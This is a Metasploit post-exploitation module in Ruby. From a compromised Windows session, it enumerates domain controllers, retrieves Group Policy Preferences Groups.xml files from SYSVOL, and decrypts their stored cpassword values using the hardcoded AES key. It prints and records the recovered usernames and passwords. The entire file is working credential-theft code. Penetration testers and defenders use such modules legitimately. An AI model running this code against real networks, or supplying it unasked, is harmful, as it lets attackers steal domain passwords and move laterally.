293 lines
8.4 KiB
Ruby
293 lines
8.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'rexml/document'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Post::Windows::Priv
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Gather Group Policy Preferences Saved Password Extraction',
|
|
'Description' => %q{
|
|
This module enumerates the victim machine's domain controller and
|
|
connects to it via SMB. It then looks for Group Policy Preference XML
|
|
files containing local user accounts and passwords. It then parses the
|
|
XML files and decrypts the passwords.
|
|
|
|
Users can specify DOMAINS="domain1 domain2 domain3 etc" to target specific
|
|
domains on the network. This module will enumerate any domain controllers for
|
|
those domains.
|
|
|
|
Users can specify ALL=True to target all domains and their domain controllers
|
|
on the network.
|
|
|
|
This module must be run under a domain user or the user will not have appropriate
|
|
permissions to read files from the domain controller(s).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>[
|
|
'TheLightCosine <thelightcosine[at]gmail.com>',
|
|
'Meatballs <eat_meatballs[at]hotmail.co.uk>',
|
|
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
|
|
'Rob Fuller <mubix[at]hak5.org>', #domain/dc enumeration code
|
|
'Joshua Abraham <jabra[at]rapid7.com>' #enum_domain.rb code
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences']
|
|
],
|
|
'Platform' => [ 'windows' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('CURRENT', [ false, 'Enumerate current machine domain.', true]),
|
|
OptBool.new('ALL', [ false, 'Enumerate all domains on network.', false]),
|
|
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains - DOMAINS="domain1 domain2 etc".']),
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
if is_system?
|
|
print_error "This needs to be run as a Domain User, not SYSTEM"
|
|
return nil
|
|
end
|
|
|
|
dcs = []
|
|
paths = []
|
|
|
|
if !datastore['DOMAINS'].to_s.empty?
|
|
user_domains = datastore['DOMAINS'].to_s.split(' ')
|
|
print_status "User supplied domains #{user_domains}"
|
|
|
|
user_domains.each do |domain_name|
|
|
found_dcs = enum_dcs(domain_name)
|
|
dcs << found_dcs[0] unless found_dcs.to_a.empty?
|
|
end
|
|
elsif datastore['ALL']
|
|
enum_domains.each do |domain|
|
|
domain_name = domain[:domain]
|
|
if domain_name == "WORKGROUP" || domain_name.empty?
|
|
print_status "Skipping '#{domain_name}'..."
|
|
next
|
|
end
|
|
|
|
found_dcs = enum_dcs(domain_name)
|
|
# We only wish to enumerate one DC for each Domain.
|
|
dcs << found_dcs[0] unless found_dcs.to_a.empty?
|
|
end
|
|
elsif datastore['CURRENT']
|
|
dcs << get_domain_controller()
|
|
else
|
|
print_error "Invalid Arguments, please supply one of CURRENT, ALL or DOMAINS arguments"
|
|
return nil
|
|
end
|
|
|
|
dcs = dcs.flatten.compact
|
|
dcs.each do |dc|
|
|
print_status "Recursively searching for Groups.xml on #{dc}..."
|
|
tmpath = "\\\\#{dc}\\SYSVOL\\"
|
|
paths << find_paths(tmpath)
|
|
end
|
|
|
|
paths = paths.flatten.compact
|
|
paths.each do |path|
|
|
data, dc = get_xml(path)
|
|
parse_xml(data, dc)
|
|
end
|
|
|
|
end
|
|
|
|
def find_paths(path)
|
|
paths=[]
|
|
begin
|
|
# Enumerate domain folders
|
|
session.fs.dir.foreach(path) do |sub|
|
|
next if sub =~ /^(\.|\.\.)$/
|
|
tpath = "#{path}#{sub}\\Policies\\"
|
|
print_status "Looking in domain folder #{tpath}"
|
|
# Enumerate policy folders {...}
|
|
session.fs.dir.foreach(tpath) do |sub2|
|
|
next if sub2 =~ /^(\.|\.\.)$/
|
|
tpath2 = "#{tpath}#{sub2}\\MACHINE\\Preferences\\Groups\\Groups.xml"
|
|
begin
|
|
paths << tpath2 if client.fs.file.stat(tpath2)
|
|
rescue
|
|
next
|
|
end
|
|
end
|
|
end
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error "Received error code #{e.code} when reading #{path}"
|
|
end
|
|
|
|
return paths
|
|
end
|
|
|
|
def get_xml(path)
|
|
begin
|
|
groups = client.fs.file.new(path,'r')
|
|
until groups.eof
|
|
data = groups.read
|
|
end
|
|
|
|
domain = path.split('\\')[2]
|
|
return data, domain
|
|
rescue
|
|
print_status("The file #{path} either could not be read or does not exist")
|
|
end
|
|
end
|
|
|
|
def parse_xml(data,domain_controller)
|
|
mxml = REXML::Document.new(data).root
|
|
mxml.elements.to_a("//Properties").each do |node|
|
|
epassword = node.attributes['cpassword']
|
|
next if epassword.to_s.empty?
|
|
user = node.attributes['userName']
|
|
newname = node.attributes['newName']
|
|
disabled = node.attributes['acctDisabled']
|
|
|
|
# Check if policy also specifies the user is renamed.
|
|
if !newname.to_s.empty?
|
|
user = newname
|
|
end
|
|
|
|
pass = decrypt(epassword)
|
|
|
|
# UNICODE conversion
|
|
pass = pass.unpack('v*').pack('C*')
|
|
print_good("DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled}")
|
|
|
|
if session.db_record
|
|
source_id = session.db_record.id
|
|
else
|
|
source_id = nil
|
|
end
|
|
report_auth_info(
|
|
:host => session.sock.peerhost,
|
|
:port => 445,
|
|
:sname => 'smb',
|
|
:proto => 'tcp',
|
|
:source_id => source_id,
|
|
:source_type => "exploit",
|
|
:user => user,
|
|
:pass => pass)
|
|
end
|
|
end
|
|
|
|
def decrypt(encrypted_data)
|
|
padding = "=" * (4 - (encrypted_data.length % 4))
|
|
epassword = "#{encrypted_data}#{padding}"
|
|
decoded = Rex::Text.decode_base64(epassword)
|
|
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
|
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
|
aes.decrypt
|
|
aes.key = key
|
|
plaintext = aes.update(decoded)
|
|
plaintext << aes.final
|
|
|
|
return plaintext
|
|
end
|
|
|
|
def enum_domains
|
|
print_status "Enumerating Domains on the Network..."
|
|
domain_enum = 2147483648 # SV_TYPE_DOMAIN_ENUM = hex 80000000
|
|
buffersize = 500
|
|
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
|
|
|
|
# Estimate new buffer size on percentage recovered.
|
|
percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
|
|
buffersize = (buffersize/percent_found).to_i
|
|
|
|
while result['return'] == 234
|
|
buffersize = buffersize + 500
|
|
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
|
|
end
|
|
|
|
count = result['totalentries']
|
|
print_status("#{count} domain(s) found.")
|
|
startmem = result['bufptr']
|
|
|
|
base = 0
|
|
domains = []
|
|
mem = client.railgun.memread(startmem, 8*count)
|
|
count.times{|i|
|
|
x = {}
|
|
x[:platform] = mem[(base + 0),4].unpack("V*")[0]
|
|
nameptr = mem[(base + 4),4].unpack("V*")[0]
|
|
x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
|
|
domains << x
|
|
base = base + 8
|
|
}
|
|
return domains
|
|
end
|
|
|
|
def enum_dcs(domain)
|
|
print_status("Enumerating DCs for #{domain}")
|
|
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
|
|
buffersize = 500
|
|
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
|
|
while result['return'] == 234
|
|
buffersize = buffersize + 500
|
|
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
|
|
end
|
|
if result['totalentries'] == 0
|
|
print_error "No Domain Controllers found for #{domain}"
|
|
return nil
|
|
end
|
|
|
|
count = result['totalentries']
|
|
startmem = result['bufptr']
|
|
|
|
base = 0
|
|
mem = client.railgun.memread(startmem, 8*count)
|
|
hostnames = []
|
|
count.times do |i|
|
|
t = {}
|
|
t[:platform] = mem[(base + 0),4].unpack("V*")[0]
|
|
nameptr = mem[(base + 4),4].unpack("V*")[0]
|
|
t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
|
|
base = base + 8
|
|
print_good "DC Found: #{t[:dc_hostname]}"
|
|
hostnames << t[:dc_hostname]
|
|
end
|
|
|
|
return hostnames
|
|
end
|
|
|
|
#enum_domain.rb
|
|
def reg_getvaldata(key,valname)
|
|
value = nil
|
|
begin
|
|
root_key, base_key = client.sys.registry.splitkey(key)
|
|
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
|
|
v = open_key.query_value(valname)
|
|
value = v.data
|
|
open_key.close
|
|
rescue
|
|
end
|
|
return value
|
|
end
|
|
|
|
def get_domain_controller()
|
|
domain = nil
|
|
begin
|
|
subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
|
|
v_name = "DCName"
|
|
domain = reg_getvaldata(subkey, v_name)
|
|
rescue
|
|
print_error "This host is not part of a domain."
|
|
end
|
|
return domain.sub!(/\\\\/,'')
|
|
end
|
|
end
|